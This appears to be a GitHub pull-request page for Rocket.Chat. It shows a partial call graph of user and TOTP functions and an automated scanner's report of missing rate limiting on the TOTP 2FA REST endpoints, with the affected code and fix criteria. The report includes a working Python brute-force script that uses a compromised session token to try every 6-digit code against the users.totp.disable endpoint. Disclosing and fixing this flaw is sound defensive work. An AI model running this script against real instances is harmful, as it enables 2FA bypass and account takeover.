    subgraph SG65 ["apps/meteor/client/meteor/user.ts"]
        watchUserId["Watches the current user ID store for changes using Meteor reactivity."]
    end
    style SG65 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG66 ["apps/meteor/client/meteor/watch.ts"]
        watch["Connects Meteor Tracker reactivity to Zustand store updates."]
    end
    style SG66 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG67 ["apps/meteor/imports/personal-access-tokens/server/api/methods/generateToken.ts"]
        generatePersonalAccessTokenOfUser["generatePersonalAccessTokenOfUser"]
    end
    style SG67 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG68 ["apps/meteor/imports/personal-access-tokens/server/api/methods/regenerateToken.ts"]
        regeneratePersonalAccessTokenOfUser["regeneratePersonalAccessTokenOfUser"]
    end
    style SG68 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG69 ["apps/meteor/imports/personal-access-tokens/server/api/methods/removeToken.ts"]
        removePersonalAccessTokenOfUser["removePersonalAccessTokenOfUser"]
    end
    style SG69 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG70 ["apps/meteor/lib/utils/isObject.ts"]
        isObject["Checks if a value is a non-null object or function."]
    end
    style SG70 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG71 ["apps/meteor/lib/utils/parseCSV.ts"]
        parseCSV["parseCSV"]
    end
    style SG71 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG72 ["apps/meteor/lib/utils/stringUtils.ts"]
        makeString["Converts input to a string, returning empty string for falsy inputs."]
        defaultToWhiteSpace["Converts input characters to a regex-safe whitespace string."]
        trim["Trims whitespace or specified characters from both ends of a string."]
    end
    style SG72 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG73 ["apps/meteor/server/database/utils.ts"]
        isExtendedSession["isExtendedSession"]
        onceTransactionCommitedSuccessfully["onceTransactionCommitedSuccessfully"]
        withError["withError"]
    end
    style SG73 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG74 ["apps/meteor/server/lib/auditServerEvents/userChanged.ts"]
        UserChangedAuditStore.constructor["UserChangedAuditStore.constructor"]
    end
    style SG74 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG75 ["apps/meteor/server/lib/dataExport/getPath.ts"]
        getPath["getPath"]
    end
    style SG75 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG76 ["apps/meteor/server/lib/getSubscriptionAutotranslateDefaultConfig.ts"]
        getSubscriptionAutotranslateDefaultConfig["getSubscriptionAutotranslateDefaultConfig"]
    end
    style SG76 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG77 ["apps/meteor/server/lib/isUserIdFederated.ts"]
        isUserIdFederated["isUserIdFederated"]
    end
    style SG77 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG78 ["apps/meteor/server/lib/resetUserE2EKey.ts"]
        sendResetNotification["sendResetNotification"]
        resetUserE2EEncriptionKey["resetUserE2EEncriptionKey"]
    end
    style SG78 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG79 ["apps/meteor/server/lib/roles/addUserRoles.ts"]
        addUserRolesAsync["addUserRolesAsync"]
    end
    style SG79 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG80 ["apps/meteor/server/lib/roles/syncRoomRolePriority.ts"]
        syncRoomRolePriorityForUserAndRoom["syncRoomRolePriorityForUserAndRoom"]
    end
    style SG80 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG81 ["apps/meteor/server/lib/roles/validateRoleList.ts"]
        validateRoleList["validateRoleList"]
    end
    style SG81 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG82 ["apps/meteor/server/methods/registerUser.ts"]
        registerUser["registerUser"]
    end
    style SG82 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG83 ["apps/meteor/server/methods/requestDataDownload.ts"]
        requestDataDownload["requestDataDownload"]
    end
    style SG83 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG84 ["apps/meteor/server/methods/resetAvatar.ts"]
        resetAvatar["resetAvatar"]
        userId["userId"]
    end
    style SG84 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG85 ["apps/meteor/server/methods/saveUserPreferences.ts"]
        updateNotificationPreferences["updateNotificationPreferences"]
        saveUserPreferences["saveUserPreferences"]
    end
    style SG85 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG86 ["apps/meteor/server/methods/sendConfirmationEmail.ts"]
        sendConfirmationEmail["sendConfirmationEmail"]
    end
    style SG86 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG87 ["apps/meteor/server/methods/sendForgotPasswordEmail.ts"]
        sendForgotPasswordEmail["sendForgotPasswordEmail"]
    end
    style SG87 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG88 ["apps/meteor/server/methods/setUserActiveStatus.ts"]
        executeSetUserActiveStatus["executeSetUserActiveStatus"]
        setUserActiveStatus["setUserActiveStatus"]
    end
    style SG88 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG89 ["apps/meteor/server/services/authorization/service.ts"]
        Authorization.hasPermission["Checks if a user has a specific permission."]
        Authorization.all["Internal helper to verify if a user has all provided permissions."]
    end
    style SG89 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG90 ["apps/meteor/server/services/user/lib/getNewUserRoles.ts"]
        getNewUserRoles["getNewUserRoles"]
    end
    style SG90 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG91 ["ee/apps/account-service/src/lib/utils.ts"]
        generateStampedLoginToken["_generateStampedLoginToken"]
        hashLoginToken["Hashes a login token using SHA256 and base64 encoding."]
    end
    style SG91 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG92 ["ee/packages/presence/src/Presence.ts"]
        Presence.setupNextExpiration["Presence.setupNextExpiration"]
        Presence.updatePresenceAndReschedule["Presence.updatePresenceAndReschedule"]
        Presence.setStatus["Presence.setStatus"]
        Presence.setActiveState["Presence.setActiveState"]
        Presence.clearActiveState["Presence.clearActiveState"]
        Presence.updateUserPresence["Presence.updateUserPresence"]
    end
    style SG92 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG93 ["ee/packages/presence/src/lib/normalizeStatusText.ts"]
        normalizeStatusText["normalizeStatusText"]
    end
    style SG93 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG94 ["packages/core-services/src/MeteorError.ts"]
        MeteorError.constructor["MeteorError.constructor"]
    end
    style SG94 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG95 ["packages/models/src/models/BaseRaw.ts"]
        BaseRaw.doNotMixInclusionAndExclusionFields["BaseRaw.doNotMixInclusionAndExclusionFields"]
        BaseRaw.find["BaseRaw.find"]
        BaseRaw.updateOne["BaseRaw.updateOne"]
        BaseRaw.deleteMany["BaseRaw.deleteMany"]
    end
    style SG95 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG96 ["packages/models/src/models/LivechatDepartmentAgents.ts"]
        LivechatDepartmentAgentsRaw.findByAgentId["LivechatDepartmentAgentsRaw.findByAgentId"]
        LivechatDepartmentAgentsRaw.removeByAgentId["LivechatDepartmentAgentsRaw.removeByAgentId"]
        LivechatDepartmentAgentsRaw.replaceUsernameOfAgentByUserId["LivechatDepartmentAgentsRaw.replaceUsernameOfAgentByUserId"]
    end
    style SG96 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG97 ["packages/sha256/src/binb2hex.ts"]
        binb2hex["Converts a binary array to a hexadecimal string."]
    end
    style SG97 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG98 ["packages/sha256/src/core.ts"]
        safeAdd["Performs safe addition for 32-bit integers to prevent overflow issues during hashing."]
        ch["SHA-256 CH (choose) bitwise function."]
        maj["SHA-256 MAJ (majority) bitwise function."]
        sigma0256["SHA-256 Sigma0 bitwise function."]
        core["Core SHA-256 hashing algorithm implementation."]
    end
    style SG98 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG99 ["packages/sha256/src/sha256.ts"]
        SHA256["Calculates the SHA-256 hash of an input string."]
    end
    style SG99 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG100 ["packages/sha256/src/str2binb.ts"]
        str2binb["Converts a string into a binary array representation."]
    end
    style SG100 fill:#2a2a2a,stroke:#444,color:#aaa
    subgraph SG101 ["packages/sha256/src/utf8Encode.ts"]
        utf8Encode["Encodes a string into UTF-8 format."]
    end
    style SG101 fill:#2a2a2a,stroke:#444,color:#aaa
    action --> hashLoginToken
    action --> Presence.setStatus
    action --> isSMTPConfigured
    action --> removePersonalAccessTokenOfUser
    action --> regeneratePersonalAccessTokenOfUser
    action --> generatePersonalAccessTokenOfUser
    action --> UserChangedAuditStore.constructor
    action --> hasPermissionAsync
    action --> resetUserE2EEncriptionKey
    action --> resetAvatar
    action --> executeSetUserActiveStatus
    action --> requestDataDownload
    action --> sendConfirmationEmail
    action --> registerUser
    action --> saveUserPreferences
    action --> sendForgotPasswordEmail
    action --> MeteorError.constructor
    action --> validateUsername
    action --> deleteUser
    action --> setUserAvatar
    action --> getFullUserDataByUniqueSearchTerm
    action --> getAvatarSuggestionForUser
    action --> saveCustomFields
    action --> checkUsernameAvailabilityWithValidation
    action --> checkUsernameAvailability
    action --> generateUsernameSuggestion
    action --> saveCustomFieldsWithoutValidation
    action --> validateCustomFields
    action --> validateNameChars
    action --> checkEmailAvailability
    action --> canEditExtension
    action --> ._Rocket.Chat_apps_meteor_app_lib_server_functions_saveUser_index.ts
    action --> sendWelcomeEmail
    action --> setUsernameWithValidation
    action --> notifyOnUserChange
    action --> notifyOnUserChangeAsync
    action --> deleteUserOwnAccount
    action --> generateAccessToken
    action --> resetTOTP
    action --> EmailCheck.sendEmailCode
    action --> getUserForCheck
    action --> getUserFromParams
    action --> isUserFromParams
    action --> getPaginationItems
    action --> getUserInfo
    action --> APIClass.success
    action --> APIClass.failure
    action --> APIClass.forbidden
    action --> APIClass.this.parseJsonQuery
    action --> ._Rocket.Chat_apps_meteor_app_api_server_lib_isValidQuery.ts
    action --> getUploadFormData
    action --> findUsersToAutocomplete
    action --> findPaginatedUsersByStatus
    action --> enableTotp
    action --> disableTotp
    action --> validateTotpTempToken
    action --> regenerateTotpCodes
    action --> codesRemainingTotp
    action --> get
    Presence.setStatus --> Presence.setActiveState
    Presence.setStatus --> Presence.clearActiveState
    Presence.setStatus --> normalizeStatusText
    isSMTPConfigured --> CachedSettings.get
    removePersonalAccessTokenOfUser --> removePersonalAccessTokenOfUser
    removePersonalAccessTokenOfUser --> hasPermissionAsync
    regeneratePersonalAccessTokenOfUser --> removePersonalAccessTokenOfUser
    regeneratePersonalAccessTokenOfUser --> generatePersonalAccessTokenOfUser
    regeneratePersonalAccessTokenOfUser --> hasPermissionAsync
    generatePersonalAccessTokenOfUser --> hashLoginToken
    generatePersonalAccessTokenOfUser --> hasPermissionAsync
    hasPermissionAsync --> Authorization.hasPermission
    resetUserE2EEncriptionKey --> isUserIdFederated
    resetUserE2EEncriptionKey --> sendResetNotification
    resetUserE2EEncriptionKey --> notifyOnUserChange
    resetUserE2EEncriptionKey --> notifyOnSubscriptionChangedByUserId
    resetAvatar --> hasPermissionAsync
    resetAvatar --> resetAvatar
    resetAvatar --> userId
    resetAvatar --> method
    resetAvatar --> CachedSettings.get
    executeSetUserActiveStatus --> hasPermissionAsync
    executeSetUserActiveStatus --> setUserActiveStatus
    requestDataDownload --> getPath
    requestDataDownload --> requestDataDownload
    requestDataDownload --> method
    requestDataDownload --> CachedSettings.get
    registerUser --> generateStampedLoginToken
    registerUser --> validateInviteToken
    registerUser --> registerUser
    registerUser --> trim
    registerUser --> ._Rocket.Chat_apps_meteor_app_lib_server_index.ts
    registerUser --> Accounts.insertUserDoc
    registerUser --> CachedSettings.get
    saveUserPreferences --> Meteor.userId
    saveUserPreferences --> updateNotificationPreferences
    saveUserPreferences --> saveUserPreferences
    saveUserPreferences --> method
    saveUserPreferences --> notifyOnUserChange
    saveUserPreferences --> notifyOnSubscriptionChangedByAutoTranslateAndUserId
    saveUserPreferences --> notifyOnSubscriptionChangedByUserId
    saveUserPreferences --> CachedSettings.get
    sendForgotPasswordEmail --> sendForgotPasswordEmail
    sendForgotPasswordEmail --> CachedSettings.get
    validateUsername --> CachedSettings.get
    deleteUser --> LivechatDepartmentAgentsRaw.findByAgentId
    deleteUser --> LivechatDepartmentAgentsRaw.removeByAgentId
    deleteUser --> FileUpload.getStore
    deleteUser --> shouldRemoveOrChangeOwner
    deleteUser --> getSubscribedRoomsForUserWithDetails
    deleteUser --> getUserSingleOwnedRooms
    deleteUser --> updateGroupDMsName
    deleteUser --> relinquishRoomOwnerships
    deleteUser --> notifyOnRoomChangedById
    deleteUser --> notifyOnIntegrationChangedByUserId
    deleteUser --> notifyOnLivechatDepartmentAgentChanged
    deleteUser --> notifyOnUserChange
    deleteUser --> CachedSettings.get
    setUserAvatar --> FileUpload.getStore
    setUserAvatar --> onceTransactionCommitedSuccessfully
    setUserAvatar --> RocketChatFile.dataURIParse
    setUserAvatar --> CachedSettings.get
    setUserAvatar --> CachedSettings.set
    getFullUserDataByUniqueSearchTerm --> hasPermissionAsync
    getFullUserDataByUniqueSearchTerm --> getFields
    getFullUserDataByUniqueSearchTerm --> findTargetUser
    getFullUserDataByUniqueSearchTerm --> CachedSettings.get
    getAvatarSuggestionForUser --> CachedSettings.get
    saveCustomFields --> saveCustomFieldsWithoutValidation
    saveCustomFields --> validateCustomFields
    saveCustomFields --> trim
    saveCustomFields --> CachedSettings.get
    checkUsernameAvailabilityWithValidation --> checkUsernameAvailability
    checkUsernameAvailabilityWithValidation --> CachedSettings.get
    checkUsernameAvailability --> toRegExp
    checkUsernameAvailability --> usernameIsBlocked
    checkUsernameAvailability --> validateName
    generateUsernameSuggestion --> slug
    generateUsernameSuggestion --> usernameIsAvailable
    generateUsernameSuggestion --> name
    generateUsernameSuggestion --> CachedSettings.get
    saveCustomFieldsWithoutValidation --> onceTransactionCommitedSuccessfully
    saveCustomFieldsWithoutValidation --> getCustomFieldsMeta
    saveCustomFieldsWithoutValidation --> trim
    saveCustomFieldsWithoutValidation --> notifyOnSubscriptionChangedByUserIdAndRoomType
    saveCustomFieldsWithoutValidation --> CachedSettings.get
    saveCustomFieldsWithoutValidation --> CachedSettings.set
    validateCustomFields --> trim
    validateCustomFields --> CachedSettings.get
    canEditExtension --> MeteorError.constructor
    canEditExtension --> CachedSettings.get
    sendWelcomeEmail --> sendUserEmail
    sendWelcomeEmail --> CachedSettings.get
    setUsernameWithValidation --> validateUsername
    setUsernameWithValidation --> checkUsernameAvailability
    setUsernameWithValidation --> joinDefaultChannels
    setUsernameWithValidation --> isUserInFederatedRooms
    setUsernameWithValidation --> saveUserIdentity
    setUsernameWithValidation --> notifyOnUserChange
    setUsernameWithValidation --> CachedSettings.get
    notifyOnUserChangeAsync --> notifyOnUserChange
    deleteUserOwnAccount --> SHA256
    deleteUserOwnAccount --> Meteor.userId
    deleteUserOwnAccount --> deleteUser
    deleteUserOwnAccount --> trim
    deleteUserOwnAccount --> method
    deleteUserOwnAccount --> deleteUserOwnAccount
    deleteUserOwnAccount --> CachedSettings.get
    generateAccessToken --> generateStampedLoginToken
    generateAccessToken --> MeteorError.constructor
    resetTOTP --> isUserIdFederated
    resetTOTP --> notifyOnUserChange
    resetTOTP --> sendResetNotification_2
    EmailCheck.sendEmailCode --> EmailCheck.getUserVerifiedEmails
    EmailCheck.sendEmailCode --> EmailCheck.send2FAEmail
    EmailCheck.sendEmailCode --> CachedSettings.get
    getPaginationItems --> CachedSettings.get
    getUserInfo --> getURL
    getUserInfo --> isVerifiedEmail
    getUserInfo --> getUserPreferences
    getUserInfo --> filterOutdatedVersionUpdateBanners
    getUserInfo --> getUserCalendar
    APIClass.success --> isObject
    APIClass.failure --> isObject
    APIClass.this.parseJsonQuery --> APIClass.this.parseJsonQuery
    getUploadFormData --> getMimeType
    getUploadFormData --> MeteorError.constructor
    findUsersToAutocomplete --> hasPermissionAsync
    findUsersToAutocomplete --> CachedSettings.get
    findPaginatedUsersByStatus --> hasPermissionAsync
    enableTotp --> TOTP.generateSecret
    enableTotp --> TOTP.generateOtpauthURL
    enableTotp --> requireUser
    disableTotp --> notifyOnUserChange
    disableTotp --> TOTP.verify
    disableTotp --> requireUser
    validateTotpTempToken --> hashLoginToken
    validateTotpTempToken --> notifyOnUserChange
    validateTotpTempToken --> notifyOnUserChangeAsync
    validateTotpTempToken --> TOTP.verify
    validateTotpTempToken --> TOTP.generateCodes
    validateTotpTempToken --> requireUser
    regenerateTotpCodes --> TOTP.verify
    regenerateTotpCodes --> TOTP.generateCodes
    regenerateTotpCodes --> requireUser
    codesRemainingTotp --> requireUser
    get --> getURL
    get --> hasPermissionAsync
    get --> getUserFromParams
    get --> getPaginationItems
    get --> APIClass.success
    get --> APIClass.forbidden
    get --> APIClass.this.parseJsonQuery
    get --> CachedSettings.set
    get --> ._Rocket.Chat_apps_meteor_app_api_server_lib_isValidQuery.ts
    get --> getInclusiveFields
    get --> getNonEmptyFields
    get --> getNonEmptyQuery
    get --> get
    Presence.setActiveState --> Presence.updatePresenceAndReschedule
    Presence.setActiveState --> normalizeStatusText
    Presence.clearActiveState --> Presence.updatePresenceAndReschedule
    CachedSettings.get --> CachedSettings.get
    Authorization.hasPermission --> Authorization.all
    sendResetNotification --> send
    sendResetNotification --> CachedSettings.get
    method --> compareVersions
    method --> warn
    setUserActiveStatus --> Meteor.userId
    setUserActiveStatus --> executeSetUserActiveStatus
    validateInviteToken --> CachedSettings.get
    trim --> makeString
    trim --> defaultToWhiteSpace
    Accounts.insertUserDoc --> addUserRolesAsync
    Accounts.insertUserDoc --> getNewUserRoles
    Accounts.insertUserDoc --> setAvatarFromServiceWithValidation
    Accounts.insertUserDoc --> getAvatarSuggestionForUser
    Accounts.insertUserDoc --> joinDefaultChannels
    Accounts.insertUserDoc --> parseCSV
    Accounts.insertUserDoc --> notifyOnSettingChangedById
    Accounts.insertUserDoc --> CachedSettings.get
    Accounts.insertUserDoc --> SettingsRegistry.add
    Meteor.userId --> watchUserId
    updateNotificationPreferences --> notifyOnSubscriptionChangedByUserPreferences
    LivechatDepartmentAgentsRaw.findByAgentId --> BaseRaw.find
    LivechatDepartmentAgentsRaw.removeByAgentId --> BaseRaw.deleteMany
    FileUpload.getStore --> FileUpload.getStoreByName
    FileUpload.getStore --> FileUpload.get
    getSubscribedRoomsForUserWithDetails --> ._Rocket.Chat_apps_meteor_app_authorization_server_index.ts
    updateGroupDMsName --> getFname
    updateGroupDMsName --> getName
    updateGroupDMsName --> getUsersWhoAreInTheSameGroupDMsAs
    updateGroupDMsName --> getMembers
    updateGroupDMsName --> notifyOnSubscriptionChangedByRoomId
    relinquishRoomOwnerships --> addUserRolesAsync
    relinquishRoomOwnerships --> bulkRoomCleanUp
    onceTransactionCommitedSuccessfully --> isExtendedSession
    onceTransactionCommitedSuccessfully --> withError
    CachedSettings.set --> CachedSettings.has
    CachedSettings.set --> CachedSettings.get
    CachedSettings.set --> CachedSettings.set
    getFields --> getCustomFields
    validateName --> CachedSettings.get
    name --> slug
    name --> CachedSettings.get
    sendUserEmail --> send
    sendUserEmail --> MeteorError.constructor
    sendUserEmail --> CachedSettings.get
    joinDefaultChannels --> addUserToDefaultChannels
    saveUserIdentity --> onceTransactionCommitedSuccessfully
    saveUserIdentity --> setRealName
    saveUserIdentity --> setUsername
    saveUserIdentity --> updateUsernameReferences
    saveUserIdentity --> validateName
    SHA256 --> utf8Encode
    SHA256 --> binb2hex
    SHA256 --> str2binb
    SHA256 --> core
    sendResetNotification_2 --> send
    sendResetNotification_2 --> CachedSettings.get
    EmailCheck.send2FAEmail --> replace
    EmailCheck.send2FAEmail --> send
    EmailCheck.send2FAEmail --> CachedSettings.get
    getURL --> getURLWithoutSettings
    getURL --> CachedSettings.get
    getUserPreferences --> getUserPreference
    getUserPreferences --> CachedSettings.getByRegexp
    getUserCalendar --> CachedSettings.get
    getMimeType --> getMimeTypeFromFileName
    TOTP.generateSecret --> TOTP.generateSecret
    TOTP.verify --> SHA256
    TOTP.verify --> TOTP.verify
    TOTP.verify --> CachedSettings.get
    TOTP.generateCodes --> SHA256
    Presence.updatePresenceAndReschedule --> Presence.setupNextExpiration
    Presence.updatePresenceAndReschedule --> Presence.updateUserPresence
    send --> replace
    send --> wrap
    send --> sendNoWrap
    warn --> compareVersions
    warn --> warn
    defaultToWhiteSpace --> makeString
    addUserRolesAsync --> syncRoomRolePriorityForUserAndRoom
    addUserRolesAsync --> validateRoleList
    addUserRolesAsync --> MeteorError.constructor
    addUserRolesAsync --> notifyOnSubscriptionChangedByRoomIdAndUserId
    getNewUserRoles --> parseCSV
    getNewUserRoles --> CachedSettings.get
    setAvatarFromServiceWithValidation --> hasPermissionAsync
    setAvatarFromServiceWithValidation --> setUserAvatar
    setAvatarFromServiceWithValidation --> CachedSettings.get
    SettingsRegistry.add --> validateSetting
    SettingsRegistry.add --> getSettingDefaults
    SettingsRegistry.add --> CachedSettings.getSetting
    SettingsRegistry.add --> CachedSettings.set
    SettingsRegistry.add --> SettingsRegistry.saveUpdatedSetting
    watchUserId --> watch
    BaseRaw.find --> BaseRaw.doNotMixInclusionAndExclusionFields
    BaseRaw.find --> BaseRaw.find
    BaseRaw.deleteMany --> BaseRaw.find
    BaseRaw.deleteMany --> BaseRaw.updateOne
    BaseRaw.deleteMany --> BaseRaw.deleteMany
    FileUpload.get --> FileUpload.getStoreByName
    FileUpload.get --> FileUpload.get
    bulkRoomCleanUp --> FileUpload.removeFilesByRoomId
    bulkRoomCleanUp --> bulkTeamCleanup
    bulkRoomCleanUp --> notifyOnSubscriptionChanged
    bulkRoomCleanUp --> eraseRoomLooseValidation
    CachedSettings.has --> CachedSettings.has
    addUserToDefaultChannels --> getDefaultSubscriptionPref
    addUserToDefaultChannels --> getSubscriptionAutotranslateDefaultConfig
    addUserToDefaultChannels --> getDefaultChannels
    addUserToDefaultChannels --> notifyOnSubscriptionChangedById
    addUserToDefaultChannels --> CachedSettings.get
    setRealName --> onceTransactionCommitedSuccessfully
    setRealName --> CachedSettings.get
    setRealName --> CachedSettings.set
    setUsername --> onceTransactionCommitedSuccessfully
    setUsername --> validateUsername
    setUsername --> setUserAvatar
    setUsername --> getAvatarSuggestionForUser
    setUsername --> checkUsernameAvailability
    setUsername --> addUserToRoom
    setUsername --> isUserInFederatedRooms
    setUsername --> CachedSettings.get
    updateUsernameReferences --> LivechatDepartmentAgentsRaw.replaceUsernameOfAgentByUserId
    updateUsernameReferences --> FileUpload.getStore
    updateUsernameReferences --> updateGroupDMsName
    updateUsernameReferences --> notifyOnRoomChangedByUsernamesOrUids
    updateUsernameReferences --> notifyOnSubscriptionChangedByNameAndRoomType
    updateUsernameReferences --> notifyOnSubscriptionChangedByUserId
    core --> safeAdd
    core --> ch
    core --> maj
    core --> sigma0256
    replace --> replace
    replace --> CachedSettings.get
    getUserPreference --> CachedSettings.get
    wrap --> replace
    wrap --> CachedSettings.get
    sendNoWrap --> CachedSettings.get
    CachedSettings.getSetting --> CachedSettings.get
    BaseRaw.updateOne --> BaseRaw.updateOne
    FileUpload.removeFilesByRoomId --> FileUpload.getStore
    getSubscriptionAutotranslateDefaultConfig --> CachedSettings.get
    addUserToRoom --> notifyOnRoomChangedById
    addUserToRoom --> notifyOnSubscriptionChanged
    addUserToRoom --> CachedSettings.get
Loading
Fix with AI

Open in Cursor Open in Claude

A security vulnerability was found by Hacktron.

File: apps/meteor/app/api/server/v1/users.ts
Lines: 2222-2224
Severity: high

Vulnerability: Missing Rate Limiting on TOTP REST Endpoints Allows 2FA Bypass via Brute-Force

Description:
The REST API endpoints for managing TOTP 2FA (`users.totp.disable`, `users.totp.validate`, and `users.totp.regenerateCodes`) do not define `rateLimiterOptions`. While the `APIClass` does enforce a default rate limit for endpoints without explicit `rateLimiterOptions` (if the global rate limiter is enabled), this default limit (`API_Enable_Rate_Limiter_Limit_Calls_Default` and `API_Enable_Rate_Limiter_Limit_Time_Default`) is often too generous for sensitive authentication operations like TOTP code verification.

More critically, the underlying `TOTPCheck` implementation (`./Rocket.Chat/apps/meteor/app/2fa/server/code/TOTPCheck.ts`) explicitly returns `false` for `maxFaildedAttemtpsReached`, meaning there is no stateful lockout or brute-force protection at the sink level for TOTP codes (unlike email codes, which increment an invalid attempt counter).

Because the default API rate limit is not tuned for brute-force protection of a 6-digit space and there is no sink-level lockout, an attacker who has compromised a user's session can rapidly submit TOTP codes to disable 2FA or regenerate backup codes. If the default rate limit is disabled or bypassed (e.g., via the `api-bypass-rate-limit` permission or `TEST_MODE`), the endpoints are completely unprotected. Once 2FA is disabled, the attacker can perform critical actions like changing the password or email, leading to full account takeover.

Proof of Concept:
```python
import requests
import concurrent.futures

url = "https://your-rocket-chat-instance.com/api/v1/users.totp.disable"
headers = {
    "X-Auth-Token": "compromised_session_token",
    "X-User-Id": "compromised_user_id",
    "Content-Type": "application/json"
}

def try_code(code):
    payload = {"code": f"{code:06d}"}
    response = requests.post(url, json=payload, headers=headers)
    if response.status_code == 200 and response.json().get("disabled"):
        print(f"[+] Success! 2FA disabled with code: {code:06d}")
        return True
    return False

# Brute-force the 6-digit space
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    executor.map(try_code, range(1000000))
```

Affected Code:
API.v1
	.post(
		'users.totp.enable',
		{
			authRequired: true,
			response: {
				200: ajv.compile<{ secret: string; url: string }>({
					type: 'object',
					properties: {
						secret: { type: 'string' },
						url: { type: 'string' },
						success: { type: 'boolean', enum: [true] },
					},
					required: ['secret', 'url', 'success'],
					additionalProperties: false,
				}),
				400: validateBadRequestErrorResponse,
				401: validateUnauthorizedErrorResponse,
			},
		},
		async function action() {
			return API.v1.success(await enableTotp(this.userId));
		},
	)
	.post(
		'users.totp.disable',
		{
			authRequired: true,
			body: ajv.compile<{ code: string }>({
				type: 'object',
				properties: { code: { type: 'string', minLength: 1 } },
				required: ['code'],
				additionalProperties: false,
			}),
			response: {
				200: ajv.compile<{ disabled: boolean }>({
					type: 'object',
					properties: {
						disabled: { type: 'boolean' },
						success: { type: 'boolean', enum: [true] },
					},
					required: ['disabled', 'success'],
					additionalProperties: false,
				}),
				400: validateBadRequestErrorResponse,
				401: validateUnauthorizedErrorResponse,
			},
		},
		async function action() {
			const disabled = await disableTotp(this.userId, this.bodyParams.code);
			return API.v1.success({ disabled });
		},
	)
	.post(
		'users.totp.validate',
		{
			authRequired: true,
			body: ajv.compile<{ code: string }>({
				type: 'object',
				properties: { code: { type: 'string', minLength: 1 } },
				required: ['code'],
				additionalProperties: false,
			}),
			response: {
				200: ajv.compile<{ codes: string[] }>({
					type: 'object',
					properties: {
						codes: { type: 'array', items: { type: 'string' } },
						success: { type: 'boolean', enum: [true] },
					},
					required: ['codes', 'success'],
					additionalProperties: false,
				}),
				400: validateBadRequestErrorResponse,
				401: validateUnauthorizedErrorResponse,
			},
		},
		async function action() {
			const result = await validateTotpTempToken(this.userId, this.bodyParams.code, this.token);
			return API.v1.success(result);
		},
	)
	.post(
		'users.totp.regenerateCodes',
		{
			authRequired: true,
			body: ajv.compile<{ code: string }>({
				type: 'object',
				properties: { code: { type: 'string', minLength: 1 } },
				required: ['code'],
				additionalProperties: false,
			}),
			response: {
				200: ajv.compile<{ codes: string[] }>({
					type: 'object',
					properties: {
						codes: { type: 'array', items: { type: 'string' } },
						success: { type: 'boolean', enum: [true] },
					},
					required: ['codes', 'success'],
					additionalProperties: false,
				}),
				400: validateBadRequestErrorResponse,
				401: validateUnauthorizedErrorResponse,
			},
		},
		async function action() {
			const result = await regenerateTotpCodes(this.userId, this.bodyParams.code);
			if (!result) {
				return API.v1.failure('invalid-totp');
			}
			return API.v1.success(result);
		},
	)

Acceptance criteria:
- Acceptance is defined by the **actual reported behavior**, not by tests passing.
- Reproduce the issue, or narrow the exact code path that produces it, *before* changing code. State what you confirmed.
- Fix the underlying cause. Mitigations that paper over the reported behavior do not count as a fix.
- Add a regression test that fails on the unpatched code and passes on the fix. If a regression test is genuinely impractical (e.g. race condition, infra-level issue), say so and explain why.
- Existing tests passing is **not** the bar. Do not declare done on tests-pass theatre.

Only change what is necessary to fix this vulnerability. Do not refactor adjacent code or modify unrelated files.

Triage: Reply !fp <reason> (false positive), !valid (confirmed), !accepted_risk <reason>, or !fixed (resolved). Any other reply is saved as a triage note.
Reason is optional but improves future scans — e.g. !fp internal endpoint, not user-facing.

View finding in Hacktron

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant